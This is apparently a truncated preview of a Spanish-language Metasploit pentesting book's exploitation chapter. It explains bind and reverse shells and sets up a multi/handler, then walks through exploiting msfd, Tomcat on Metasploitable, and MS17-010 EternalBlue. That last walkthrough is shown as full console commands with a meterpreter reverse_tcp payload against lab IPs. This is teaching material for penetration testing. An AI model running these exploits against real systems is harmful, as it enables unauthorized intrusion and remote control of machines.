La fase de explotación
Seleccionar los módulos que se van a usar
Una vez que se completa la fase de reconocimiento, es posible ver más claramente los exploits o auxiliares que se pueden utilizar para llegar más lejos en la fase de explotación. Aunque todos los auxiliares disponen de una notación (Rank) a normal, la notación de los exploits puede cambiar:
msf6 > show exploits
Exploits
========
Name Rank
---- ----
aix/local/ibstat_path excellent
aix/rpc_cmsd_opcode21 great
android/browser/stagefright_mp4_tx3g_64bit normal
android/fileformat/adobe_reader_pdf_js_interface ...
Preparar la fase de explotación
En la introducción, se ha abordado un concepto importante: los shells de tipo bind y reverse:
-
En el caso de los shells de tipo bind, la conexión se inicia desde la máquina del atacante hacia la del objetivo, especificando la dirección IP y el servicio de escucha.
-
En el caso de los shells de tipo reverse, la conexión se inicia desde la máquina de destino hacia la del atacante.
En el segundo caso, es necesario configurar un método que permita al atacante interpretar esta conexión iniciada por el objetivo. Para esto, y como se mencionó en el capítulo Primeros pasos con Metasploit, en la sección Interfaces - El sistema de archivos, es necesario implementar un handler.
Este módulo es un exploit genérico para crear un servicio de escucha en la máquina del atacante. Como resultado, la máquina del atacante, así como la máquina objetivo, se podrán comunicar.
Para configurar este módulo, simplemente es necesario especificar la dirección de escucha (LHOST), el puerto de escucha (LPORT) y la payload utilizada, que debe ser exactamente la misma indicada por la máquina de destino para que las máquinas se puedan entender entre sí (android/meterpreter/reverse_https en este caso):
msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) >...
Explotación de Metasploit por Metasploit
Las promesas están hechas para ser cumplidas. En el capítulo Primeros pasos con Metasploit en la sección Interfaces, abordamos Msfd y los problemas de seguridad relacionados.
El servicio se lanza de la siguiente manera:
root@kali:~# msfd -a 0.0.0.0
[*] Initializing msfd...
[*] Running msfd...
Es posible comprobar la presencia de este puerto en la máquina del atacante con un escaneo de puerto clásico:
root@kali:~# nmap -p 55554 192.168.171.144
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-28 19:29 CET
Nmap scan report for 192.168.171.144
Host is up (0.000050s latency).
PORT STATE SERVICE
55554/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
Por lo tanto, es posible utilizar uno de los exploits especificados anteriormente para tomar el control de la máquina remota gracias a la ausencia de autenticación:
msf6 > use exploit/multi/misc/msfd_rce_remote
msf6 exploit(multi/misc/msfd_rce_remote) >show options
Module options (exploit/multi/misc/msfd_rce_remote):
Name Current Setting Required Description
---- --------------- ...
Explotación de Metasploitable por Metasploit
Como se mencionó en la introducción, Metasploitable2 y Metasploitable3 son sistemas operativos con muchas vulnerabilidades para explotar en un entorno de entrenamiento. El objetivo de este libro no es presentar todos los exploits disponibles para el Framework Metasploit o dar todas las metodologías para explotar estas máquinas de entrenamiento. Sin embargo, su uso permite tener un enfoque pedagógico y fácil de implantar. Por lo tanto, se presenta la explotación de ciertos servicios que se encuentran con frecuencia durante las pruebas de penetración.
1. Apache Tomcat
Apache Tomcat es un contenedor web para servlets y JSP que también contiene un servidor HTTP, el cual se encuentra con frecuencia en las empresas.
En este caso, no se especifica el puerto del servicio porque puede estar en muchos puertos (80, 8080, 8180, etc.):
msf6 > services -S Apache
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
172.16.64.130 8180 tcp http open Apache Tomcat/Coyote JSP
El acceso directo a la URL no deja dudas sobre el uso de un servidor Apache Tomcat:
Sin embargo, en su estado actual, la página de autenticación está protegida por una autenti ...
Ejemplo de explotación de Windows
1. SMB (445/TCP)
Independientemente del sistema operativo subyacente, SMB es un protocolo de uso compartido de archivos en red que puede escuchar en los puertos 139/TCP o 445/TCP.
En 2017, el grupo de hackers The Shadow Brokers publicó un exploit que afectaba a la versión 1 del protocolo SMB (SMBv1). Este exploit, desarrollado inicialmente por la NSA (National Security Agency), facilitó que el ransomware Wannacry tuviera un impacto tan grande mediante la explotación de la vulnerabilidad MS17-010. Como cualquier vulnerabilidad en este momento, tiene un bonito nombre: EternalBlue.
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 172.16.86.134
LHOST => 172.16.86.134
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 172.16.86.110
RHOST => 172.16.86.110
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 172.16.86.134:4444
[*] 172.16.86.110:445 - Connecting to target for exploitation.
[+] 172.16.86.110:445 - Connection established for exploitation. ...